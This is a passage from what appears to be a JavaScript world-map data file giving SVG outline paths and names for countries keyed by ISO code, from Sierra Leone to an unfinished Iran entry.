			path: "M394.46,264.11l-1.73,1.98l-0.58,1.33l-2.07,-1.06l-1.22,-1.26l-0.65,-2.39l1.16,-0.96l0.67,-1.17l1.21,-0.52l1.66,0.0l1.03,1.64l0.52,2.41Z",
			name: "Sierra Leone",
		},
		KZ: {
			path: "M552.8,172.89l0.46,-1.27l-0.48,-1.05l-2.96,-1.19l-1.06,-2.58l-1.37,-0.87l-0.03,-0.3l1.95,0.23l0.45,-0.38l0.08,-1.96l1.75,-0.41l2.1,0.45l0.48,-0.33l0.45,-3.04l-0.45,-2.09l-0.41,-0.31l-2.42,0.15l-2.36,-0.73l-2.87,1.37l-2.17,0.61l-0.85,-0.34l0.13,-1.61l-1.6,-2.12l-2.02,-0.08l-1.78,-1.82l1.29,-2.18l-0.57,-0.95l1.62,-2.91l2.21,1.63l0.63,-0.27l0.29,-2.22l4.92,-3.43l3.71,-0.08l8.4,3.6l2.92,-1.36l3.77,-0.06l3.11,1.66l0.51,-0.11l0.6,-0.81l3.31,0.13l0.39,-0.25l0.63,-1.57l-0.17,-0.5l-3.5,-1.98l1.87,-1.27l-0.13,-1.03l1.98,-0.72l0.18,-0.62l-1.59,-2.06l0.81,-0.82l9.23,-1.18l1.33,-0.88l6.18,-1.26l2.26,-1.42l4.08,0.68l0.73,3.33l0.51,0.3l2.48,-0.8l2.79,1.02l-0.17,1.56l0.43,0.44l2.55,-0.24l4.89,-2.53l0.03,0.32l3.15,2.61l5.56,8.47l0.65,0.02l1.12,-1.46l3.15,1.74l3.76,-0.78l1.15,0.49l1.14,1.8l1.84,0.76l0.99,1.29l3.35,-0.25l1.02,1.52l-1.6,1.81l-1.93,0.28l-0.34,0.38l-0.11,3.05l-1.13,1.16l-4.75,-1.0l-0.46,0.27l-1.76,5.47l-1.1,0.59l-4.91,1.23l-0.27,0.54l2.1,4.97l-1.37,0.63l-0.23,0.41l0.13,1.13l-0.88,-0.25l-1.42,-1.13l-7.89,-0.4l-0.92,0.31l-3.73,-1.22l-1.42,0.63l-0.53,1.66l-3.72,-0.94l-1.85,0.43l-0.76,1.4l-4.65,2.62l-1.13,2.08l-0.44,0.01l-0.92,-1.4l-2.87,-0.09l-0.45,-2.14l-0.38,-0.32l-0.8,-0.01l0.0,-2.96l-3.0,-2.22l-7.31,0.58l-2.35,-2.68l-6.71,-3.69l-6.45,1.83l-0.29,0.39l0.1,10.85l-0.7,0.08l-1.62,-2.17l-1.83,-0.96l-3.11,0.59l-0.64,0.51Z",
			name: "Kazakhstan",
		},
		SA: {
			path: "M537.53,210.34l2.0,0.24l0.9,1.32l1.49,-0.06l0.87,2.08l1.29,0.76l0.51,0.99l1.56,1.03l-0.1,1.9l0.32,0.9l1.58,2.47l0.76,0.53l0.7,-0.04l1.68,4.23l7.53,1.33l0.51,-0.29l0.77,1.25l-1.55,4.87l-7.29,2.52l-7.3,1.03l-2.34,1.17l-1.88,2.74l-0.76,0.28l-0.82,-0.78l-0.91,0.12l-2.88,-0.51l-3.51,0.25l-0.86,-0.56l-0.57,0.15l-0.66,1.27l0.16,1.11l-0.43,0.32l-0.93,-1.4l-0.33,-1.16l-1.23,-0.88l-1.27,-2.06l-0.78,-2.22l-1.73,-1.79l-1.14,-0.48l-1.54,-2.31l-0.21,-3.41l-1.44,-2.93l-1.27,-1.16l-1.33,-0.57l-1.31,-3.37l-0.77,-0.67l-0.97,-1.97l-2.8,-4.03l-1.06,-0.17l0.37,-1.96l0.2,-0.72l2.74,0.3l1.08,-0.84l0.6,-0.94l1.74,-0.35l0.65,-1.03l0.71,-0.4l0.1,-0.62l-2.06,-2.28l4.39,-1.22l0.48,-0.37l2.77,0.69l3.66,1.9l7.03,5.5l4.87,0.3Z",
			name: "Saudi Arabia",
		},
		SE: {
			path: "M480.22,89.3l-4.03,1.17l-2.43,2.86l0.26,2.57l-8.77,6.64l-1.78,5.79l1.78,2.68l2.22,1.96l-2.07,3.77l-2.72,1.13l-0.95,6.04l-1.29,3.01l-2.74,-0.31l-0.4,0.22l-1.31,2.59l-2.34,0.13l-0.75,-3.09l-2.08,-4.03l-1.83,-4.96l1.0,-1.93l2.14,-2.7l0.83,-4.45l-1.6,-2.17l-0.15,-4.94l1.48,-3.39l2.58,-0.15l0.87,-1.59l-0.78,-1.57l3.76,-5.59l4.04,-7.48l2.17,0.01l0.39,-0.29l0.57,-2.07l4.37,0.64l0.46,-0.34l0.33,-2.56l1.1,-0.13l6.94,4.87l0.06,6.32l0.66,1.36Z",
			name: "Sweden",
		},
		SD: {
			path: "M505.98,259.4l-0.34,-0.77l-1.17,-0.9l-0.26,-1.61l0.29,-1.81l-0.34,-0.46l-1.16,-0.17l-0.54,0.59l-1.23,0.11l-0.28,0.65l0.53,0.65l0.17,1.22l-2.44,3.0l-0.96,0.19l-2.39,-1.4l-0.95,0.52l-0.38,0.78l-1.11,0.41l-0.29,0.5l-1.94,0.0l-0.54,-0.52l-1.81,-0.09l-0.95,0.4l-2.45,-2.35l-2.07,0.54l-0.73,1.26l-0.6,2.1l-1.25,0.58l-0.75,-0.62l0.27,-2.65l-1.48,-1.78l-0.22,-1.48l-0.92,-0.96l-0.02,-1.29l-0.57,-1.16l-0.68,-0.16l0.69,-1.29l-0.18,-1.14l0.65,-0.62l0.03,-0.55l-0.36,-0.41l1.55,-2.97l1.91,0.16l0.43,-0.4l-0.1,-10.94l2.49,-0.01l0.4,-0.4l-0.0,-4.82l29.02,0.0l0.64,2.04l-0.49,0.66l0.36,2.69l0.93,3.16l2.12,1.55l-0.89,1.04l-1.72,0.39l-0.98,0.9l-1.43,5.65l0.24,1.15l-0.38,2.06l-0.96,2.38l-1.53,1.31l-1.32,2.91l-1.22,0.86l-0.37,1.34Z",
			name: "Sudan",
		},
		DO: {
			path: "M241.8,239.2l0.05,-0.65l-0.46,-0.73l0.42,-0.44l0.19,-1.0l-0.09,-1.53l1.66,0.01l1.99,0.63l0.33,0.67l1.28,0.19l0.33,0.76l1.0,0.08l0.8,0.62l-0.45,0.51l-1.13,-0.47l-1.88,-0.01l-1.27,0.59l-0.75,-0.55l-1.01,0.54l-0.79,1.4l-0.23,-0.61Z",
			name: "Dominican Rep.",
		},
		DJ: {
			path: "M528.43,256.18l-0.45,0.66l-0.58,-0.25l-1.51,0.13l-0.18,-1.01l1.45,-1.95l0.83,0.17l0.77,-0.44l0.2,1.0l-1.2,0.51l-0.06,0.7l0.73,0.47Z",
			name: "Djibouti",
		},
		DK: {
			path: "M452.28,129.07l-1.19,2.24l-2.13,-1.6l-0.23,-0.95l2.98,-0.95l0.57,1.26ZM447.74,126.31l-0.26,0.57l-0.88,-0.07l-1.8,2.53l0.48,1.69l-1.09,0.36l-1.61,-0.39l-0.89,-1.69l-0.07,-3.43l0.96,-1.73l2.02,-0.2l1.09,-1.07l1.33,-0.67l-0.05,1.06l-0.73,1.41l0.3,1.0l1.2,0.64Z",
			name: "Denmark",
		},
		DE: {
			path: "M453.14,155.55l-0.55,-0.36l-1.2,-0.1l-1.87,0.57l-2.13,-0.13l-0.56,0.63l-0.86,-0.6l-0.96,0.09l-2.57,-0.93l-0.85,0.67l-1.47,-0.02l0.24,-1.75l1.23,-2.14l-0.28,-0.59l-3.52,-0.58l-0.92,-0.66l0.12,-1.2l-0.48,-0.88l0.27,-2.17l-0.37,-3.03l1.41,-0.22l0.63,-1.26l0.66,-3.19l-0.41,-1.18l0.26,-0.39l1.66,-0.15l0.33,0.54l0.62,0.07l1.7,-1.69l-0.54,-3.02l1.37,0.33l1.31,-0.37l0.31,1.18l2.25,0.71l-0.02,0.92l0.5,0.4l2.55,-0.65l1.34,-0.87l2.57,1.24l1.06,0.98l0.48,1.44l-0.57,0.74l-0.0,0.48l0.87,1.15l0.57,1.64l-0.14,1.29l0.82,1.7l-1.5,-0.07l-0.56,0.57l-4.47,2.15l-0.22,0.54l0.68,2.26l2.58,2.16l-0.66,1.11l-0.79,0.36l-0.23,0.43l0.32,1.87Z",
			name: "Germany",
		},
		YE: {
			path: "M528.27,246.72l0.26,-0.42l-0.22,-1.01l0.19,-1.5l0.92,-0.69l-0.07,-1.35l0.39,-0.75l1.01,0.47l3.34,-0.27l3.76,0.41l0.95,0.81l1.36,-0.58l1.74,-2.62l2.18,-1.09l6.86,-0.94l2.48,5.41l-1.64,0.76l-0.56,1.9l-6.23,2.16l-2.29,1.8l-1.93,0.05l-1.41,1.02l-4.24,0.74l-1.72,1.49l-3.28,0.19l-0.52,-1.18l0.02,-1.51l-1.34,-3.29Z",
			name: "Yemen",
		},
		DZ: {
			path: "M441.46,188.44l-0.32,1.07l0.39,2.64l-0.54,2.16l-1.58,1.82l0.37,2.39l1.91,1.55l0.18,0.8l1.42,1.03l1.84,7.23l0.12,1.16l-0.57,5.0l0.2,1.51l-0.87,0.99l-0.02,0.51l1.41,1.86l0.14,1.2l0.89,1.48l0.5,0.16l0.98,-0.41l1.73,1.08l0.82,1.23l-8.22,4.81l-7.23,5.11l-3.43,1.13l-2.3,0.21l-0.28,-1.59l-2.56,-1.09l-0.67,-1.25l-26.12,-17.86l0.01,-3.47l3.77,-1.88l2.44,-0.41l2.12,-0.75l1.08,-1.42l2.81,-1.05l0.35,-2.08l1.33,-0.29l1.04,-0.94l3.47,-0.69l0.46,-1.08l-0.1,-0.45l-0.58,-0.52l-0.82,-2.81l-0.19,-1.83l-0.78,-1.49l2.03,-1.31l2.63,-0.48l1.7,-1.22l2.31,-0.84l8.24,-0.73l1.49,0.38l2.28,-1.1l2.46,-0.02l0.92,0.6l1.35,-0.05Z",
			name: "Algeria",
		},
		US: {
			path: "M892.72,99.2l1.31,0.53l1.41,-0.37l1.89,0.98l1.89,0.42l-1.32,0.58l-2.9,-1.53l-2.08,0.22l-0.26,-0.15l0.07,-0.67ZM183.22,150.47l0.37,1.47l1.12,0.85l4.23,0.7l2.39,0.98l2.17,-0.38l1.85,0.5l-1.55,0.65l-3.49,2.61l-0.16,0.77l0.5,0.39l2.33,-0.61l1.77,1.02l5.15,-2.4l-0.31,0.65l0.25,0.56l1.36,0.38l1.71,1.16l4.7,-0.88l0.67,0.85l1.31,0.21l0.58,0.58l-1.34,0.17l-2.18,-0.32l-3.6,0.89l-2.71,3.25l0.35,0.9l0.59,-0.0l0.55,-0.6l-1.36,4.65l0.29,3.09l0.67,1.58l0.61,0.45l1.77,-0.44l1.6,-1.96l0.14,-2.21l-0.82,-1.96l0.11,-1.13l1.19,-2.37l0.44,-0.33l0.48,0.75l0.4,-0.29l0.4,-1.37l0.6,-0.47l0.24,-0.8l1.69,0.49l1.65,1.08l-0.03,2.37l-1.27,1.13l-0.0,1.13l0.87,0.36l1.66,-1.29l0.5,0.17l0.5,2.6l-2.49,3.75l0.17,0.61l1.54,0.62l1.48,0.17l1.92,-0.44l4.72,-2.15l2.16,-1.8l-0.05,-1.24l0.75,-0.22l3.92,0.36l2.12,-1.05l0.21,-0.4l-0.28,-1.48l3.27,-2.4l8.32,-0.02l0.56,-0.82l1.9,-0.77l0.93,-1.51l0.74,-2.37l1.58,-1.98l0.92,0.62l1.47,-0.47l0.8,0.66l-0.0,4.09l1.96,2.6l-2.34,1.31l-5.37,2.09l-1.83,2.72l0.02,1.79l0.83,1.59l0.54,0.23l-6.19,0.94l-2.2,0.89l-0.23,0.48l0.45,0.29l2.99,-0.46l-2.19,0.56l-1.13,0.0l-0.15,-0.32l-0.48,0.08l-0.76,0.82l0.22,0.67l0.32,0.06l-0.41,1.62l-1.27,1.58l-1.48,-1.07l-0.49,-0.04l-0.16,0.46l0.52,1.58l0.61,0.59l0.03,0.79l-0.95,1.38l-1.21,-1.22l-0.27,-2.27l-0.35,-0.35l-0.42,0.25l-0.48,1.27l0.33,1.41l-0.97,-0.27l-0.48,0.24l0.18,0.5l1.52,0.83l0.1,2.52l0.79,0.51l0.52,3.42l-1.42,1.88l-2.47,0.8l-1.71,1.66l-1.31,0.25l-1.27,1.03l-0.43,0.99l-2.69,1.78l-2.64,3.03l-0.45,2.12l0.45,2.08l0.85,2.38l1.09,1.9l0.04,1.2l1.16,3.06l-0.18,2.69l-0.55,1.43l-0.47,0.21l-0.89,-0.23l-0.49,-1.18l-0.87,-0.56l-2.75,-5.16l0.48,-1.68l-0.72,-1.78l-2.01,-2.38l-1.12,-0.53l-2.72,1.18l-1.47,-1.35l-1.57,-0.68l-2.99,0.31l-2.17,-0.3l-2.0,0.19l-1.15,0.46l-0.19,0.58l0.39,0.63l0.14,1.34l-0.84,-0.2l-0.84,0.46l-1.58,-0.07l-2.08,-1.44l-2.09,0.33l-1.91,-0.62l-3.73,0.84l-2.39,2.07l-2.54,1.22l-1.45,1.41l-0.61,1.38l0.34,3.71l-0.29,0.02l-3.5,-1.33l-1.25,-3.11l-1.44,-1.5l-2.24,-3.56l-1.76,-1.09l-2.27,-0.01l-1.71,2.07l-1.76,-0.69l-1.16,-0.74l-1.52,-2.98l-3.93,-3.16l-4.34,-0.0l-0.4,0.4l-0.0,0.74l-6.5,0.02l-9.02,-3.14l-0.34,-0.71l-5.7,0.49l-0.43,-1.29l-1.62,-1.61l-1.14,-0.38l-0.55,-0.88l-1.28,-0.13l-1.01,-0.77l-2.22,-0.27l-0.43,-0.3l-0.36,-1.58l-2.4,-2.83l-2.01,-3.85l-0.06,-0.9l-2.92,-3.26l-0.33,-2.29l-1.3,-1.66l0.52,-2.37l-0.09,-2.57l-0.78,-2.3l0.95,-2.82l0.61,-5.68l-0.47,-4.27l-1.46,-4.08l3.19,0.79l1.26,2.83l0.69,0.08l0.69,-1.14l-1.1,-4.79l68.76,-0.0l0.4,-0.4l0.14,-0.86ZM32.44,67.52l1.73,1.97l0.55,0.05l0.99,-0.79l3.65,0.24l-0.09,0.62l0.32,0.45l3.83,0.77l2.61,-0.43l5.19,1.4l4.84,0.43l1.89,0.57l3.42,-0.7l6.14,1.87l-0.03,38.06l0.38,0.4l2.39,0.11l2.31,0.98l3.9,3.99l0.55,0.04l2.4,-2.03l2.16,-1.04l1.2,1.71l3.95,3.14l4.09,6.63l4.2,2.29l0.06,1.83l-1.02,1.23l-1.16,-1.08l-2.04,-1.03l-0.67,-2.89l-3.28,-3.03l-1.65,-3.57l-6.35,-0.32l-2.82,-1.01l-5.26,-3.85l-6.77,-2.04l-3.53,0.3l-4.81,-1.69l-3.25,-1.63l-2.78,0.8l-0.28,0.46l0.44,2.21l-3.91,0.96l-2.26,1.27l-2.3,0.65l-0.27,-1.65l1.05,-3.42l2.49,-1.09l0.16,-0.6l-0.69,-0.96l-0.55,-0.1l-3.19,2.12l-1.78,2.56l-3.55,2.61l-0.04,0.61l1.56,1.52l-2.07,2.29l-5.11,2.57l-0.77,1.66l-3.76,1.77l-0.92,1.73l-2.69,1.38l-1.81,-0.22l-6.95,3.32l-3.97,0.91l4.85,-2.5l2.59,-1.86l3.26,-0.52l1.19,-1.4l3.42,-2.1l2.59,-2.27l0.42,-2.68l1.23,-2.1l-0.04,-0.46l-0.45,-0.11l-2.68,1.03l-0.63,-0.49l-0.53,0.03l-1.05,1.04l-1.36,-1.54l-0.66,0.08l-0.32,0.62l-0.58,-1.14l-0.56,-0.16l-2.41,1.42l-1.07,-0.0l-0.17,-1.75l0.3,-1.71l-1.61,-1.33l-3.41,0.59l-1.96,-1.63l-1.57,-0.84l-0.15,-2.21l-1.7,-1.43l0.82,-1.88l1.99,-2.12l0.88,-1.92l1.71,-0.24l2.04,0.51l1.87,-1.77l1.91,0.25l1.91,-1.23l0.17,-0.43l-0.47,-1.82l-1.07,-0.7l1.39,-1.17l0.12,-0.45l-0.39,-0.26l-1.65,0.07l-2.66,0.88l-0.75,0.78l-1.92,-0.8l-3.46,0.44l-3.44,-0.91l-1.06,-1.61l-2.65,-1.99l2.91,-1.43l5.5,-2.0l1.52,0.0l-0.26,1.62l0.41,0.46l5.29,-0.16l0.3,-0.65l-2.03,-2.59l-3.14,-1.68l-1.79,-2.12l-2.4,-1.83l-3.09,-1.24l1.04,-1.69l4.23,-0.14l3.36,-2.07l0.73,-2.27l2.39,-1.99l2.42,-0.52l4.65,-1.97l2.46,0.23l3.71,-2.35l3.5,0.89ZM37.6,123.41l-2.25,1.23l-0.95,-0.69l-0.29,-1.24l3.21,-1.63l1.42,0.21l0.67,0.7l-1.8,1.42ZM31.06,234.03l0.98,0.47l0.74,0.87l-1.77,1.07l-0.44,-1.53l0.49,-0.89ZM29.34,232.07l0.18,0.05l0.08,0.05l-0.16,0.03l-0.11,-0.14ZM25.16,230.17l0.05,-0.03l0.18,0.22l-0.13,-0.01l-0.1,-0.18ZM5.89,113.26l-1.08,0.41l-2.21,-1.12l1.53,-0.4l1.62,0.28l0.14,0.83Z",
			name: "United States",
		},
		UY: {
			path: "M286.85,372.74l-0.92,1.5l-2.59,1.44l-1.69,-0.52l-1.42,0.26l-2.39,-1.19l-1.52,0.08l-1.27,-1.3l0.16,-1.5l0.56,-0.79l-0.02,-2.73l1.21,-4.74l1.19,-0.21l2.37,2.0l1.08,0.03l4.36,3.17l1.22,1.6l-0.96,1.5l0.61,1.4Z",
			name: "Uruguay",
		},
		LB: {
			path: "M510.37,198.01l-0.88,0.51l1.82,-3.54l0.62,0.08l0.22,0.61l-1.13,0.88l-0.65,1.47Z",
			name: "Lebanon",
		},
		LA: {
			path: "M689.54,248.53l-1.76,-0.74l-0.49,0.15l-0.94,1.46l-1.32,-0.64l0.62,-0.98l0.11,-2.17l-2.04,-2.42l-0.25,-2.65l-1.9,-2.1l-2.15,-0.31l-0.78,0.91l-1.12,0.06l-1.05,-0.4l-2.06,1.2l-0.04,-1.59l0.61,-2.68l-0.36,-0.49l-1.35,-0.1l-0.11,-1.23l-0.96,-0.88l1.96,-1.89l0.39,0.36l1.33,0.07l0.42,-0.45l-0.34,-2.66l0.7,-0.21l1.28,1.81l1.11,2.35l0.36,0.23l2.82,0.02l0.71,1.67l-1.39,0.65l-0.72,0.93l0.13,0.6l2.91,1.51l3.6,5.25l1.88,1.78l0.56,1.62l-0.35,1.96Z",
			name: "Lao PDR",
		},
		TW: {
			path: "M724.01,226.68l-0.74,1.48l-0.9,-1.52l-0.25,-1.74l1.38,-2.44l1.73,-1.74l0.64,0.44l-1.85,5.52Z",
			name: "Taiwan",
		},
		TT: {
			path: "M266.64,259.32l0.28,-1.16l1.13,-0.22l-0.06,1.2l-1.35,0.18Z",
			name: "Trinidad and Tobago",
		},
		TR: {
			path: "M513.21,175.47l3.64,1.17l3.05,-0.44l2.1,0.26l3.11,-1.56l2.46,-0.13l2.19,1.33l0.33,0.82l-0.22,1.33l0.25,0.44l2.28,1.13l-1.17,0.57l-0.21,0.45l0.75,3.2l-0.41,1.16l1.13,1.92l-0.55,0.22l-0.9,-0.67l-2.91,-0.37l-1.24,0.46l-4.23,0.41l-2.81,1.05l-1.91,0.01l-1.52,-0.53l-2.58,0.75l-0.66,-0.45l-0.62,0.3l-0.12,1.45l-0.89,0.84l-0.47,-0.67l0.79,-1.3l-0.41,-0.2l-1.43,0.23l-2.0,-0.63l-2.02,1.65l-3.51,0.3l-2.13,-1.53l-2.7,-0.1l-0.86,1.24l-1.38,0.27l-2.29,-1.44l-2.71,-0.01l-1.37,-2.65l-1.68,-1.52l1.07,-1.99l-0.09,-0.49l-1.27,-1.12l2.37,-2.41l3.7,-0.11l1.28,-2.24l4.49,0.37l3.21,-1.97l2.81,-0.82l3.99,-0.06l4.29,2.07ZM488.79,176.72l-1.72,1.31l-0.5,-0.88l1.37,-2.57l-0.7,-0.85l1.7,-0.63l1.8,0.34l0.46,1.17l1.76,0.78l-2.87,0.32l-1.3,1.01Z",
			name: "Turkey",
		},
		LK: {
			path: "M624.16,268.99l-1.82,0.48l-0.99,-1.67l-0.42,-3.46l0.95,-3.43l1.21,0.98l2.26,4.19l-0.34,2.33l-0.85,0.58Z",
			name: "Sri Lanka",
		},
		LV: {
			path: "M489.16,122.85l0.96,0.66l0.22,1.65l0.68,1.76l-3.65,1.7l-2.23,-1.58l-1.29,-0.26l-0.68,-0.77l-2.42,0.34l-4.16,-0.23l-2.47,0.9l0.06,-1.98l1.13,-2.06l1.95,-1.02l2.12,2.58l2.01,-0.07l0.38,-0.33l0.44,-2.52l1.76,-0.53l3.06,1.7l2.15,0.07Z",
			name: "Latvia",
		},
		LT: {
			path: "M486.93,129.3l0.17,1.12l-1.81,0.98l-0.72,2.02l-2.47,1.18l-2.1,-0.02l-0.73,-1.05l-1.06,-0.3l-0.09,-1.87l-3.56,-1.13l-0.43,-2.36l2.48,-0.94l4.12,0.22l2.25,-0.31l0.52,0.69l1.24,0.21l2.19,1.56Z",
			name: "Lithuania",
		},
		LU: {
			path: "M436.08,149.45l-0.48,-0.07l0.3,-1.28l0.27,0.4l-0.09,0.96Z",
			name: "Luxembourg",
		},
		LR: {
			path: "M399.36,265.97l0.18,1.54l-0.48,0.99l0.08,0.47l2.47,1.8l-0.33,2.8l-2.65,-1.13l-5.78,-4.61l0.58,-1.32l2.1,-2.33l0.86,-0.22l0.77,1.14l-0.14,0.85l0.59,0.87l1.0,0.14l0.76,-0.99Z",
			name: "Liberia",
		},
		LS: {
			path: "M491.06,363.48l-0.49,0.15l-1.49,-1.67l1.1,-1.43l2.19,-1.44l1.51,1.27l-0.98,1.82l-1.23,0.38l-0.62,0.93Z",
			name: "Lesotho",
		},
		TH: {
			path: "M670.27,255.86l-1.41,3.87l0.15,2.0l0.38,0.36l1.38,0.07l0.9,2.04l0.55,2.34l1.4,1.44l1.61,0.38l0.96,0.97l-0.5,0.64l-1.1,0.2l-0.34,-1.18l-2.04,-1.1l-0.63,0.23l-0.63,-0.62l-0.48,-1.3l-2.56,-2.63l-0.73,0.41l0.95,-3.89l2.16,-4.22ZM670.67,254.77l-0.92,-2.18l-0.26,-2.61l-2.14,-3.06l0.71,-0.49l0.89,-2.59l-3.61,-5.45l0.87,-0.51l1.05,-2.58l1.74,-0.18l2.6,-1.59l0.76,0.56l0.13,1.39l0.37,0.36l1.23,0.09l-0.51,2.28l0.05,2.42l0.6,0.34l2.43,-1.42l0.77,0.39l1.47,-0.07l0.71,-0.88l1.48,0.14l1.71,1.88l0.25,2.65l1.92,2.11l-0.1,1.89l-0.61,0.86l-2.22,-0.33l-3.5,0.64l-1.6,2.12l0.36,2.58l-1.51,-0.79l-1.84,-0.01l0.28,-1.52l-0.4,-0.47l-2.21,0.01l-0.4,0.37l-0.19,2.74l-0.34,0.93Z",
			name: "Thailand",
		},
		TF: {
			path: "M596.68,420.38l-3.2,0.18l-0.05,-1.26l0.39,-1.41l1.3,0.78l2.08,0.35l-0.52,1.36Z",
			name: "Fr. S. Antarctic Lands",
		},
		TG: {
			path: "M422.7,257.63l-0.09,1.23l1.53,1.52l0.08,1.09l0.5,0.65l-0.11,5.62l0.49,1.47l-1.31,0.35l-1.02,-2.13l-0.18,-1.12l0.53,-2.19l-0.63,-1.16l-0.22,-3.68l-1.01,-1.4l0.07,-0.28l1.37,0.03Z",
			name: "Togo",
		},
		TD: {
			path: "M480.25,235.49l0.12,9.57l-2.1,0.05l-1.14,1.89l-0.69,1.63l0.34,0.73l-0.66,0.91l0.24,0.89l-0.86,1.95l0.45,0.5l0.6,-0.1l0.34,0.64l0.03,1.38l0.9,1.04l-1.45,0.43l-1.27,1.03l-1.83,2.76l-2.16,1.07l-2.31,-0.15l-0.86,0.25l-0.26,0.49l0.17,0.61l-2.11,1.68l-2.85,0.87l-1.09,-0.57l-0.73,0.66l-1.12,0.1l-1.1,-3.12l-1.25,-0.64l-1.22,-1.22l0.29,-0.64l3.01,0.04l0.35,-0.6l-1.3,-2.2l-0.08,-3.31l-0.97,-1.66l0.22,-1.04l-0.38,-0.48l-1.22,-0.04l0.0,-1.25l-0.98,-1.07l0.96,-3.01l3.25,-2.65l0.13,-3.33l0.95,-5.18l0.52,-1.07l-0.1,-0.48l-0.91,-0.78l-0.2,-0.96l-0.8,-0.58l-0.55,-3.65l2.1,-1.2l19.57,9.83Z",
			name: "Chad",
		},
		LY: {
			path: "M483.48,203.15l-0.75,1.1l0.29,1.39l-0.6,1.83l0.73,2.14l0.0,24.12l-2.48,0.01l-0.41,0.85l-19.41,-9.76l-4.41,2.28l-1.37,-1.33l-3.82,-1.1l-1.14,-1.65l-1.98,-1.23l-1.22,0.32l-0.66,-1.11l-0.17,-1.26l-1.28,-1.69l0.87,-1.19l-0.07,-4.34l0.43,-2.27l-0.86,-3.45l1.13,-0.76l0.22,-1.16l-0.2,-1.03l3.48,-2.61l0.29,-1.94l2.45,0.8l1.18,-0.21l1.98,0.44l3.15,1.18l1.37,2.54l5.72,1.67l2.64,1.35l1.61,-0.72l1.29,-1.34l-0.44,-2.34l0.66,-1.13l1.67,-1.21l1.57,-0.35l3.14,0.53l1.08,1.28l3.99,0.78l0.36,0.54Z",
			name: "Libya",
		},
		AE: {
			path: "M550.76,223.97l1.88,-0.4l3.84,0.02l4.78,-4.75l0.19,0.36l0.26,1.58l-0.81,0.01l-0.39,0.35l-0.08,2.04l-0.81,0.63l-0.01,0.96l-0.66,0.99l-0.39,1.41l-7.08,-1.25l-0.7,-1.96Z",
			name: "United Arab Emirates",
		},
		VE: {
			path: "M240.68,256.69l0.53,0.75l-0.02,1.06l-1.07,1.78l0.95,2.0l0.42,0.22l1.4,-0.44l0.56,-1.83l-0.77,-1.17l-0.1,-1.47l2.82,-0.93l0.26,-0.49l-0.28,-0.96l0.3,-0.28l0.66,1.31l1.96,0.26l1.4,1.22l0.08,0.68l0.39,0.35l4.81,-0.22l1.49,1.11l1.92,0.31l1.67,-0.84l0.22,-0.6l3.44,-0.14l-0.17,0.55l0.86,1.19l2.19,0.35l1.67,1.1l0.37,1.86l0.41,0.32l1.55,0.17l-1.66,1.35l-0.22,0.92l0.65,0.97l-1.67,0.54l-0.3,0.4l0.04,0.99l-0.56,0.57l-0.01,0.55l1.85,2.27l-0.66,0.69l-4.47,1.29l-0.72,0.54l-3.69,-0.9l-0.71,0.27l-0.02,0.7l0.91,0.53l-0.08,1.54l0.35,1.58l0.35,0.31l1.66,0.17l-1.3,0.52l-0.48,1.13l-2.68,0.91l-0.6,0.77l-1.57,0.13l-1.17,-1.13l-0.8,-2.52l-1.25,-1.26l1.02,-1.23l-1.29,-2.95l0.18,-1.62l1.0,-2.21l-0.2,-0.49l-1.14,-0.46l-4.02,0.36l-1.82,-2.1l-1.57,-0.33l-2.99,0.22l-1.06,-0.97l0.25,-1.23l-0.2,-1.01l-0.59,-0.69l-0.29,-1.06l-1.08,-0.39l0.78,-2.79l1.9,-2.11Z",
			name: "Venezuela",
		},
		AF: {
			path: "M600.7,188.88l-1.57,1.3l-0.1,0.48l0.8,2.31l-1.09,1.04l-0.03,1.27l-0.48,0.71l-2.16,-0.08l-0.37,0.59l0.78,1.48l-1.38,0.69l-1.06,1.69l0.06,1.7l-0.65,0.52l-0.91,-0.21l-1.91,0.36l-0.48,0.77l-1.88,0.13l-1.4,1.56l-0.18,2.32l-2.91,1.02l-1.65,-0.23l-0.71,0.55l-1.41,-0.3l-2.41,0.39l-3.52,-1.17l1.96,-2.35l-0.21,-1.78l-0.3,-0.34l-1.63,-0.4l-0.19,-1.58l-0.75,-2.03l0.95,-1.36l-0.19,-0.6l-0.73,-0.28l1.47,-4.8l2.14,0.9l2.12,-0.36l0.74,-1.34l1.77,-0.39l1.54,-0.92l0.63,-2.31l1.87,-0.5l0.49,-0.81l0.94,0.56l2.13,0.11l2.55,0.92l1.95,-0.83l0.65,0.43l0.56,-0.13l0.69,-1.12l1.57,-0.08l0.72,-1.66l0.79,-0.74l0.8,0.39l-0.17,0.56l0.71,0.58l-0.08,2.39l1.11,0.95ZM601.37,188.71l1.73,-0.71l1.43,-1.18l4.03,0.35l-2.23,0.74l-4.95,0.8Z",
			name: "Afghanistan",
		},
		IQ: {
			path: "M530.82,187.47l0.79,0.66l1.26,-0.28l1.46,3.08l1.63,0.94l0.14,1.23l-1.22,1.05l-0.53,2.52l1.73,2.67l3.12,1.62l1.15,1.88l-0.38,1.85l0.39,0.48l0.41,-0.0l0.02,1.07l0.76,0.94l-2.47,-0.1l-1.71,2.44l-4.31,-0.2l-7.02,-5.48l-3.73,-1.94l-2.88,-0.73l-0.85,-2.87l5.45,-3.02l0.95,-3.43l-0.19,-1.96l1.27,-0.7l1.22,-1.7l0.87,-0.36l2.69,0.34Z",
			name: "Iraq",
		},
		IS: {
			path: "M384.14,88.06l-0.37,2.61l2.54,2.51l-2.9,2.75l-9.19,3.4l-9.25,-1.66l1.7,-1.22l-0.1,-0.7l-4.05,-1.47l2.96,-0.53l0.33,-0.43l-0.11,-1.2l-0.33,-0.36l-4.67,-0.85l1.28,-2.04l3.45,-0.56l3.77,2.72l0.44,0.02l3.64,-2.16l3.3,1.08l3.98,-2.16l3.58,0.26Z",
			name: "Iceland",
		},
		IR: {
			path: 